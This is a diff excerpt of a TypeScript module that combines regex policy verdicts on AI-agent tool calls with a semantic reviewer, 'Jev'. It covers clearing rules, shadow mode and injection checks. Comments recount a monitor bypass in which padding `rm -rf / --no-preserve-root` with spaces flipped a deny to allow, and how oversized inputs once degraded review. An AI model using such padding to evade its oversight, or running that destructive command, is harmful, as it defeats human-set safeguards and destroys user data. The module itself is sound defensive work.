|
|
147
|
+
* actually dangerous is denied on Jev's own verdict, with a reason that names
|
|
148
|
+
* what is wrong with it rather than how long it is.
|
|
149
|
+
*
|
|
150
|
+
* So: size can only ever make a call stricter through Jev's own verdict or
|
|
151
|
+
* through a regex policy, never through a refusal here. What it costs is the
|
|
152
|
+
* clears.
|
|
153
|
+
*
|
|
154
|
+
* ## What a cut MESSAGE does: nothing
|
|
155
|
+
*
|
|
156
|
+
* `truncated` — a human turn, an agent message or a store-capped prompt that
|
|
157
|
+
* did not fit — is recorded and read no further. It used to withdraw clears
|
|
158
|
+
* too, and that made the length of the human's own prompt decide the verdict:
|
|
159
|
+
* the same call came out `allow` after a 77-character prompt and `deny` after
|
|
160
|
+
* a 3,000-character one, because the clearing half of the tier switched off.
|
|
161
|
+
* Pasting a spec or a stack trace is not an attack, the human's turn is not a
|
|
162
|
+
* channel the agent can write, and consent read out of it is checked locally
|
|
163
|
+
* against the UNCUT text (see `Envelope.evidence`), so there is nothing here
|
|
164
|
+
* for a cut to protect.
|
|
165
|
+
*
|
|
166
|
+
* What the clearing gate claims, exactly. The envelope keeps a BOUNDED window
|
|
167
|
+
* by design — the last `MAX_USER_MESSAGES` human turns — and dropping older
|
|
168
|
+
* turns does not set `truncated`. So a clear rests on a complete view of what
|
|
169
|
+
* was SENT, not on the whole session: an instruction from twenty turns ago is
|
|
170
|
+
* not in the picture, and the tier is not a record of consent over a session.
|
|
171
|
+
*
|
|
172
|
+
* The local `targetNamedByUser` check reads `Envelope.evidence`, which is that
|
|
173
|
+
* window and nothing wider — a turn Jev never saw cannot supply the consent
|
|
174
|
+
* for an `op-requested` override (it could, and flipped a reviewable deny to
|
|
175
|
+
* allow). The two channels differ inside the window,
|
|
176
|
+
* deliberately, and the guarantee is per channel rather than per character:
|
|
177
|
+
* - `user_said` is reported UNCUT. A target named in the cut middle of a
|
|
178
|
+
* long prompt is consent the human typed, and treating it as absent turned
|
|
179
|
+
* explicit requests into instructs and denies.
|
|
180
|
+
* - `agent_last_message` is reported as SENT, capped and redacted. The agent
|
|
181
|
+
* writes that channel and it repeats third-party text, so consent found
|
|
182
|
+
* only in a part of it Jev never read is exactly the subtraction this
|
|
183
|
+
* design refuses everywhere else.
|
|
184
|
+
*
|
|
185
|
+
* "Uncut" there means uncut by the ENVELOPE, and there is one cut it cannot
|
|
186
|
+
* undo: T4's intent store caps a prompt as it READS it (`intent.ts`), so a
|
|
187
|
+
* 12,000-character prompt arrives already head-and-tail cut and its middle is
|
|
188
|
+
* not recoverable by anyone. Run over that, the local substring check read
|
|
189
|
+
* "the user did not name it" off a string that could not have contained it —
|
|
190
|
+
* the same subtraction one channel further out, and the same symptom: the
|
|
191
|
+
* length of the human's paste decided the verdict. So a human turn that
|
|
192
|
+
* arrived cut makes the local check INCONCLUSIVE rather than negative
|
|
193
|
+
* (`PreparedCall.userSaidCut`, `DecideV1Options.userSaidCut`), and the
|
|
194
|
+
* override rests on what it rests on when a call names no identifiable target
|
|
195
|
+
* at all — Jev's own `op_requested` and `scope` answers. It can only restore a
|
|
196
|
+
* clear a short prompt would have kept, it is read from the human channel
|
|
197
|
+
* only, and `targetNamedByUser` still reports FALSE, because nothing in what
|
|
198
|
+
* we hold named the target; what changes is that "false" no longer decides.
|
|
199
|
+
*
|
|
200
|
+
* Severity, meanwhile, is never subtracted by a cut at all. §4's table files a
|
|
201
|
+
* truncated envelope under "fall back to the regex result", and reading that
|
|
202
|
+
* as "throw Jev's answer away" made padding a command past the envelope's
|
|
203
|
+
* per-field cap a working way to stop Jev's OWN deny applying (a real repro:
|
|
204
|
+
* `rm -rf / --no-preserve-root` + 2,100 spaces flipped deny → allow).
|
|
205
|
+
* Truncation is attacker-influenceable, so it may never subtract severity.
|
|
206
|
+
* What §4 asks for is still there — every regex deny counts, and the call is
|
|
207
|
+
* recorded as `jev-fallback` — the answer is just not thrown away on the way
|
|
208
|
+
* in.
|
|
209
|
+
*
|
|
210
|
+
* Size was the same class one step further out, and is no longer a case at
|
|
211
|
+
* all: a request over `MAX_REQUEST_CHARS` used to be
|
|
212
|
+
* `degraded("request-too-large")` — a `fallback`, no verdict, regex-only —
|
|
213
|
+
* which one ignored 70,000-character `file_path`, one long object KEY, or
|
|
214
|
+
* 36,000 empty strings in an array was enough to trigger. The envelope is now
|
|
215
|
+
* built inside a hard budget whose accounting charges what serialization
|
|
216
|
+
* really costs, and being over it is not a degrade at all: the request is sent
|
|
217
|
+
* with what fitted and arrives here `answered`, with `requestCut`.
|
|
218
|
+
*
|
|
219
|
+
* Structurally: a `fallback` review carries no `decision` at all, so a verdict
|
|
220
|
+
* Jev actually produced cannot be filed as one. If Jev decided, it comes
|
|
221
|
+
* through `answered` (possibly `requestCut`), and `answered` always reaches
|
|
222
|
+
* the most-severe merge.
|
|
223
|
+
*
|
|
224
|
+
* A clear is only as good as the check that the call is not acting on text
|
|
225
|
+
* planted by a repo, a tool result or the agent itself, so the injection probe
|
|
226
|
+
* is asked on EVERY call — including one with no recorded human message, where
|
|
227
|
+
* there is no consent to withdraw but there is still planted text to notice.
|
|
228
|
+
* `injectionAsked` false therefore means the request was never sent at all,
|
|
229
|
+
* and then there is nothing to clear anyway.
|
|
230
|
+
*/
|
|
231
|
+
import type { PolicyAuthority } from "../policy-types";
|
|
232
|
+
// The only value imports, and deliberately from the activity vocabulary rather
|
|
233
|
+
// than local literals: the fallback reason this module writes itself has to
|
|
234
|
+
// be a code the activity store's closed list names, or it is stored and
|
|
235
|
+
// shipped as `other`, and a shadow verdict's model id has to pass the same
|
|
236
|
+
// shape check the row's own `jevModel` does. Importing them makes a rename a
|
|
237
|
+
// compile error here. `jev-activity.ts` is pure (no node imports, no semantic
|
|
238
|
+
// modules), so this costs the hook path nothing.
|
|
239
|
+
import { JEV_MODEL_RE, JEV_REASON_REQUEST_CUT } from "../jev-activity";
|
|
240
|
+
|
|
241
|
+
export type Decision = "allow" | "deny" | "instruct";
|
|
242
|
+
export type JevMode = "shadow" | "enforce";
|
|
243
|
+
|
|
244
|
+
/** One regex policy's verdict, in evaluation order. */
|
|
245
|
+
export interface RegexVerdict {
|
|
246
|
+
policyName: string;
|
|
247
|
+
decision: Decision;
|
|
248
|
+
/**
|
|
249
|
+
* deny / instruct: the reason exactly as it would be shown (hint appended).
|
|
250
|
+
* allow: the informational note, or null for a silent allow.
|
|
251
|
+
*/
|
|
252
|
+
reason: string | null;
|
|
253
|
+
/** EFFECTIVE authority (see `effectiveAuthority`), never the declared one. */
|
|
254
|
+
authority: PolicyAuthority;
|
|
255
|
+
/** The semantic policies that must all be asked and none answer `deny`. Empty for `hard`. */
|
|
256
|
+
reviewedBy: readonly string[];
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
/** What Jev said, reduced to exactly what the combine rules read. */
|
|
260
|
+
export type JevReview =
|
|
261
|
+
| {
|
|
262
|
+
/** Aborted because a hard deny already decided; Jev's answer was never read. */
|
|
263
|
+
kind: "not-consulted";
|
|
264
|
+
}
|
|
265
|
+
| {
|
|
266
|
+
/**
|
|
267
|
+
* Jev produced no verdict: degraded (timeout, 429, HTTP/parse error,
|
|
268
|
+
* model mismatch, no transport, a config that cannot be built, …).
|
|
269
|
+
*
|
|
270
|
+
* Deliberately carries NO `decision`. A verdict Jev did produce must not
|
|
271
|
+
* be droppable on the way into the combine — that is how padding a
|
|
272
|
+
* command used to make Jev's own deny disappear — so anything Jev
|
|
273
|
+
* decided comes through `answered`, whose severity is always merged.
|
|
274
|
+
*/
|
|
275
|
+
kind: "fallback";
|
|
276
|
+
reason: string;
|
|
277
|
+
latencyMs: number | null;
|
|
278
|
+
model: string | null;
|
|
279
|
+
}
|
|
280
|
+
| {
|
|
281
|
+
kind: "answered";
|
|
282
|
+
decision: Decision;
|
|
283
|
+
reason: string | null;
|
|
284
|
+
/** Attribution for Jev's own deny/instruct, e.g. `semantic/destructive-deletion`. */
|
|
285
|
+
policyName: string;
|
|
286
|
+
/** The pack that declared `policyName`'s check, when a pack did. */
|
|
287
|
+
origin?: { packId: string; packVersion?: string };
|
|
288
|
+
/** Semantic policies whose questions were in the request that was answered. */
|
|
289
|
+
asked: readonly string[];
|
|
290
|
+
/**
|
|
291
|
+
* Of `asked`, the ones whose answer lets a reviewable regex verdict be
|
|
292
|
+
* cleared: `none`, `overridden`, or a deny the human's task softened to
|
|
293
|
+
* an instruct. Neither a `deny` nor a warning nobody consented to is in
|
|
294
|
+
* it; see "A check that fired without consent keeps the floor" above.
|
|
295
|
+
*/
|
|
296
|
+
notDenied: readonly string[];
|
|
297
|
+
/**
|
|
298
|
+
* The injection probe was in the request and answered. False → no clear:
|
|
299
|
+
* an unmeasured injection is not an absent one.
|
|
300
|
+
*/
|
|
301
|
+
injectionAsked: boolean;
|
|
302
|
+
/** The injection probe held: every clear is withdrawn. */
|
|
303
|
+
injected: boolean;
|
|
304
|
+
/**
|
|
305
|
+
* A deny-mode check fired at WARNING level and no consent softened it:
|
|
306
|
+
* every clear is withdrawn. See "A check that fired without consent
|
|
307
|
+
* keeps the floor" above. Absent reads as false.
|
|
308
|
+
*/
|
|
309
|
+
unclearableWarned?: boolean;
|
|
310
|
+
/**
|
|
311
|
+
* Something did not fit: a human turn, the agent's last message, or what
|
|
312
|
+
* the intent store had already capped (`SemanticOutcome.truncated`).
|
|
313
|
+
*
|
|
314
|
+
* READ BY NOTHING HERE, on purpose — see "What a cut MESSAGE does"
|
|
315
|
+
* above. It stays on the review so the verdict log and a future
|
|
316
|
+
* diagnostic can see it, and so that the field's absence is not mistaken
|
|
317
|
+
* for the cut's absence.
|
|
318
|
+
*/
|
|
319
|
+
truncated: boolean;
|
|
320
|
+
/**
|
|
321
|
+
* Part of what the CALL DOES was cut: the tool input did not fit the
|
|
322
|
+
* envelope's request budget, a redaction removed a span of it that could
|
|
323
|
+
* have been executable, or a computed fact about it was dropped
|
|
324
|
+
* (`SemanticOutcome.requestCut`). Implies `truncated`.
|
|
325
|
+
*
|
|
326
|
+
* Withdraws every clear — a clear resting on a call half of which was
|
|
327
|
+
* never read is not a clear — and nothing else: the decision below still
|
|
328
|
+
* joins the most-severe rule, so padding cannot subtract severity, and
|
|
329
|
+
* it cannot add a refusal of our own either. Recorded as `jev-fallback`
|
|
330
|
+
* / `request-cut`.
|
|
331
|
+
*/
|
|
332
|
+
requestCut: boolean;
|
|
333
|
+
/**
|
|
334
|
+
* Null when nothing had to be sent (no semantic policy applied), or when
|
|
335
|
+
* the answer came from the throttle's cache: a hit's ~0 ms is not a
|
|
336
|
+
* provider latency.
|
|
337
|
+
*/
|
|
338
|
+
latencyMs: number | null;
|
|
339
|
+
model: string | null;
|
|
340
|
+
};
|
|
341
|
+
|
|
342
|
+
/**
|
|
343
|
+
* What `evaluatePolicies` receives when the two-tier path is on: an in-flight
|
|
344
|
+
* Jev review (started before the regex policies run) and how to read each
|
|
345
|
+
* registered policy's effective authority. Built by `jev-review.ts`.
|
|
346
|
+
*/
|
|
347
|
+
export interface TwoTierReview {
|
|
348
|
+
mode: JevMode;
|
|
349
|
+
/** Resolves once Jev answered, failed, or was aborted. Never rejects. */
|
|
350
|
+
review: Promise<JevReview>;
|
|
351
|
+
/** Abort the in-flight request (a hard deny decided). No-op once settled. */
|
|
352
|
+
abort(): void;
|
|
353
|
+
/**
|
|
354
|
+
* Called once, right before the evaluator awaits `review` — by then every
|
|
355
|
+
* read of the process-global policy registry for this call is done. The
|
|
356
|
+
* daemon's warm worker serializes requests around that registry, and uses
|
|
357
|
+
* this to let the next queued request run while this one waits on the
|
|
358
|
+
* network instead of holding every hook on the machine behind it.
|
|
359
|
+
*/
|
|
360
|
+
releaseRegistry?: () => void;
|
|
361
|
+
/** Effective authority + the reviewing semantic policies (empty unless reviewable). */
|
|
362
|
+
authorityOf(p: { name: string; authority?: PolicyAuthority; reviewedBy?: string[] }): {
|
|
363
|
+
authority: PolicyAuthority;
|
|
364
|
+
reviewedBy: string[];
|
|
365
|
+
};
|
|
366
|
+
}
|
|
367
|
+
|
|
368
|
+
export interface FinalVerdict {
|
|
369
|
+
decision: Decision;
|
|
370
|
+
/** deny: exactly the one decider; instruct: every instruct; allow: every note. */
|
|
371
|
+
entries: Array<{ policyName: string; reason: string }>;
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
/** The hook-activity fields (§7 contract) for one two-tier evaluation. */
|
|
375
|
+
export interface JevActivityFields {
|
|
376
|
+
evaluator: "jev" | "jev-fallback";
|
|
377
|
+
jevDecision?: Decision;
|
|
378
|
+
jevCleared?: string[];
|
|
379
|
+
jevFallbackReason?: string;
|
|
380
|
+
jevLatencyMs?: number;
|
|
381
|
+
jevModel?: string;
|
|
382
|
+
jevMode: JevMode;
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
/**
|
|
386
|
+
* Jev's own deny or instruct in SHADOW mode — the verdict enforce mode would
|
|
387
|
+
* have applied, recorded rather than applied. The handler files it in the
|
|
388
|
+
* activity row's `observed` list, the "would have" record observe-mode cloud
|
|
389
|
+
* and pack policies already use, so FailproofAI Cloud's policy page counts it
|
|
390
|
+
* with no change on its side.
|
|
391
|
+
*/
|
|
392
|
+
export interface ShadowVerdict {
|
|
393
|
+
/** `semantic/<check>` — the name enforce mode would have attributed it to. */
|
|
394
|
+
policyName: string;
|
|
395
|
+
decision: "deny" | "instruct";
|
|
396
|
+
/** The same fixed template reason enforce mode would have shown. */
|
|
397
|
+
reason: string;
|
|
398
|
+
/** The Jev model id that answered, or `jev` when it named none this build can store. */
|
|
399
|
+
version: string;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
export interface CombineOutcome {
|
|
403
|
+
final: FinalVerdict;
|
|
404
|
+
/** Reviewable regex policies Jev cleared (in shadow: would have cleared). */
|
|
405
|
+
cleared: string[];
|
|
406
|
+
/**
|
|
407
|
+
* True when the first entry of `final` came from THIS TIER rather than from
|
|
408
|
+
* a registered policy — today that means Jev's own verdict.
|
|
409
|
+
*
|
|
410
|
+
* `handler.ts` reads it to decide whether to attribute the decision to a
|
|
411
|
+
* registered policy — a name it cannot find in the registry is reported as a
|
|
412
|
+
* builtin, so a name that never was one must say so here.
|
|
413
|
+
*/
|
|
414
|
+
decidedByJev: boolean;
|
|
415
|
+
activity: JevActivityFields;
|
|
416
|
+
/**
|
|
417
|
+
* Shadow mode only, and only when Jev's own verdict was deny or instruct.
|
|
418
|
+
* Absent otherwise — including every enforce outcome, where the verdict was
|
|
419
|
+
* APPLIED and `decidedByJev` / the final entries already say so.
|
|
420
|
+
*/
|
|
421
|
+
shadowVerdict?: ShadowVerdict;
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
/**
|
|
425
|
+
* The regex engine's answer on its own — exactly what `evaluatePolicies`
|
|
426
|
+
* returned before two tiers existed: the first deny in evaluation order wins;
|
|
427
|
+
* otherwise every instruct, joined; otherwise every allow that carried a note.
|
|
428
|
+
*/
|
|
429
|
+
export function regexOnly(verdicts: readonly RegexVerdict[]): FinalVerdict {
|
|
430
|
+
const deny = verdicts.find((v) => v.decision === "deny");
|
|
431
|
+
if (deny) return { decision: "deny", entries: [{ policyName: deny.policyName, reason: deny.reason ?? "" }] };
|
|
432
|
+
const instructs = verdicts.filter((v) => v.decision === "instruct");
|
|
433
|
+
if (instructs.length > 0) {
|
|
434
|
+
return { decision: "instruct", entries: instructs.map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" })) };
|
|
435
|
+
}
|
|
436
|
+
return {
|
|
437
|
+
decision: "allow",
|
|
438
|
+
entries: verdicts
|
|
439
|
+
.filter((v) => v.decision === "allow" && v.reason)
|
|
440
|
+
.map((v) => ({ policyName: v.policyName, reason: v.reason as string })),
|
|
441
|
+
};
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
/**
|
|
445
|
+
* Whether Jev's answer clears this regex verdict.
|
|
446
|
+
*
|
|
447
|
+
* The rule, exactly: a REVIEWABLE deny or instruct that names at least one
|
|
448
|
+
* reviewer is cleared when EVERY name in its `reviewedBy` was ASKED on this
|
|
449
|
+
* call AND is in `notDenied` (see "A check that fired without consent keeps
|
|
450
|
+
* the floor" above). A name that was never asked blocks the clear, whatever
|
|
451
|
+
* the others said, because an unasked question has no answer to read. A
|
|
452
|
+
* `hard` verdict and a reviewable one naming nobody are never cleared at all.
|
|
453
|
+
*/
|
|
454
|
+
function clears(v: RegexVerdict, asked: ReadonlySet<string>, notDenied: ReadonlySet<string>): boolean {
|
|
455
|
+
if (v.decision === "allow" || v.authority !== "reviewable") return false;
|
|
456
|
+
if (v.reviewedBy.length === 0) return false;
|
|
457
|
+
return v.reviewedBy.every((name) => asked.has(name) && notDenied.has(name));
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
export function combineTwoTier(
|
|
461
|
+
verdicts: readonly RegexVerdict[],
|
|
462
|
+
review: JevReview,
|
|
463
|
+
mode: JevMode,
|
|
464
|
+
): CombineOutcome {
|
|
465
|
+
const legacy = regexOnly(verdicts);
|
|
466
|
+
|
|
467
|
+
if (review.kind === "not-consulted") {
|
|
468
|
+
// A hard deny decided. Nothing was asked, so nothing is cleared, and the
|
|
469
|
+
// regex result is final — byte for byte what the regex engine says alone.
|
|
470
|
+
return { final: legacy, cleared: [], decidedByJev: false, activity: { evaluator: "jev", jevMode: mode } };
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
if (review.kind === "fallback") {
|
|
474
|
+
return {
|
|
475
|
+
final: legacy,
|
|
476
|
+
cleared: [],
|
|
477
|
+
decidedByJev: false,
|
|
478
|
+
activity: {
|
|
479
|
+
evaluator: "jev-fallback",
|
|
480
|
+
jevFallbackReason: review.reason,
|
|
481
|
+
...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
|
|
482
|
+
...(review.model ? { jevModel: review.model } : {}),
|
|
483
|
+
jevMode: mode,
|
|
484
|
+
},
|
|
485
|
+
};
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
// The one gate on clearing. Every reason Jev's picture of the CALL is
|
|
489
|
+
// partial lives here and here only, so the next one added cannot
|
|
490
|
+
// accidentally take Jev's own severity with it (see "One rule about a
|
|
491
|
+
// partial picture" above). `truncated` is deliberately not among them: see
|
|
492
|
+
// "What a cut MESSAGE does".
|
|
493
|
+
const wholePicture = review.injectionAsked && !review.injected && !review.requestCut;
|
|
494
|
+
const asked = new Set(review.asked);
|
|
495
|
+
const notDenied = new Set(review.notDenied);
|
|
496
|
+
const cleared = wholePicture && !review.unclearableWarned ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
|
|
497
|
+
|
|
498
|
+
// Built once, for both modes: enforce applies it, shadow records it, and the
|
|
499
|
+
// two must never disagree about what the verdict WAS.
|
|
500
|
+
const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
|
|
501
|
+
const enforced = resolveEnforce(verdicts, cleared, review.decision, jevEntry);
|
|
502
|
+
|
|
503
|
+
const activity: JevActivityFields = {
|
|
504
|
+
// §4 records a call the tier could not read whole as a fallback, and so do
|
|
505
|
+
// we — its clearing half really was off. The decision below is still
|
|
506
|
+
// applied (upward only), so `jev-fallback` + `request-cut` means "Jev
|
|
507
|
+
// cleared nothing", while every other reason means "Jev never answered".
|
|
508
|
+
// A cut MESSAGE is not a fallback: nothing about the call was missing and
|
|
509
|
+
// nothing was withheld, so reporting one would only inflate the rate.
|
|
510
|
+
evaluator: review.requestCut ? "jev-fallback" : "jev",
|
|
511
|
+
...(review.requestCut ? { jevFallbackReason: JEV_REASON_REQUEST_CUT } : {}),
|
|
512
|
+
jevDecision: review.decision,
|
|
513
|
+
// Only a clear that SOFTENED the call (in shadow: would have). One that
|
|
514
|
+
// Jev's own deny, or another regex deny, still decided over changed
|
|
515
|
+
// nothing — and `jev status` and the policy page's "Cleared by Jev" both
|
|
516
|
+
// read `jevCleared` as calls Jev let through.
|
|
517
|
+
...(cleared.length > 0 && RANK[enforced.final.decision] < RANK[legacy.decision] ? { jevCleared: cleared } : {}),
|
|
518
|
+
...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
|
|
519
|
+
...(review.model ? { jevModel: review.model } : {}),
|
|
520
|
+
jevMode: mode,
|
|
521
|
+
};
|
|
522
|
+
|
|
523
|
+
if (mode === "shadow") {
|
|
524
|
+
// Jev's own deny or instruct, exactly as enforce mode would have applied it
|
|
525
|
+
// (upward only: a cut or injected call keeps it, as the enforce branch
|
|
526
|
+
// below does). A clear is recorded in `jevCleared`, not here.
|
|
527
|
+
const shadowVerdict: ShadowVerdict | undefined =
|
|
528
|
+
review.decision === "deny" || review.decision === "instruct"
|
|
529
|
+
? {
|
|
530
|
+
policyName: jevEntry.policyName,
|
|
531
|
+
decision: review.decision,
|
|
532
|
+
reason: jevEntry.reason,
|
|
533
|
+
// The model id is shape-checked like the row's own `jevModel`, so
|
|
534
|
+
// this list can carry nothing the activity store would not.
|
|
535
|
+
version: review.model && JEV_MODEL_RE.test(review.model) ? review.model : "jev",
|
|
536
|
+
}
|
|
537
|
+
: undefined;
|
|
538
|
+
return { final: legacy, cleared, decidedByJev: false, activity, ...(shadowVerdict ? { shadowVerdict } : {}) };
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
return { ...enforced, cleared, activity };
|
|
542
|
+
}
|
|
543
|
+
|
|
544
|
+
const RANK: Record<Decision, number> = { allow: 0, instruct: 1, deny: 2 };
|
|
545
|
+
|
|
546
|
+
/** Enforce mode's verdict once `cleared` are removed: the most severe wins. */
|
|
547
|
+
function resolveEnforce(
|
|
548
|
+
verdicts: readonly RegexVerdict[],
|
|
549
|
+
cleared: readonly string[],
|
|
550
|
+
decision: Decision,
|
|
551
|
+
jevEntry: { policyName: string; reason: string },
|
|
552
|
+
): Pick<CombineOutcome, "final" | "decidedByJev"> {
|
|
553
|
+
const clearedSet = new Set(cleared);
|
|
554
|
+
const remaining = verdicts.filter((v) => !clearedSet.has(v.policyName));
|
|
555
|
+
|
|
556
|
+
// Most severe wins; within a severity, the regex engine's own order first.
|
|
557
|
+
const regexDeny = remaining.find((v) => v.decision === "deny");
|
|
558
|
+
if (regexDeny) {
|
|
559
|
+
return {
|
|
560
|
+
final: { decision: "deny", entries: [{ policyName: regexDeny.policyName, reason: regexDeny.reason ?? "" }] },
|
|
561
|
+
decidedByJev: false,
|
|
562
|
+
};
|
|
563
|
+
}
|
|
564
|
+
if (decision === "deny") {
|
|
565
|
+
return { final: { decision: "deny", entries: [jevEntry] }, decidedByJev: true };
|
|
566
|
+
}
|
|
567
|
+
// A call part of which was not shown to Jev stops HERE and no further: it
|
|
568
|
+
// cleared nothing (`wholePicture` above), so every regex verdict still
|
|
569
|
+
// stands and Jev's own deny already decided if there was one. There is
|
|
570
|
+
// deliberately no third outcome — no refusal of this module's own — because
|
|
571
|
+
// a deny nobody's policy asked for, fired by size on work nobody objected
|
|
572
|
+
// to, costs more than it protects. See "What size may NOT do" above.
|
|
573
|
+
const instructs = remaining
|
|
574
|
+
.filter((v) => v.decision === "instruct")
|
|
575
|
+
.map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" }));
|
|
576
|
+
if (decision === "instruct") instructs.push(jevEntry);
|
|
577
|
+
if (instructs.length > 0) {
|
|
578
|
+
return { final: { decision: "instruct", entries: instructs }, decidedByJev: instructs[0] === jevEntry };
|
|
579
|
+
}
|
|
580
|
+
return { final: regexOnly(remaining), decidedByJev: false };
|
|
581
|
+
}
|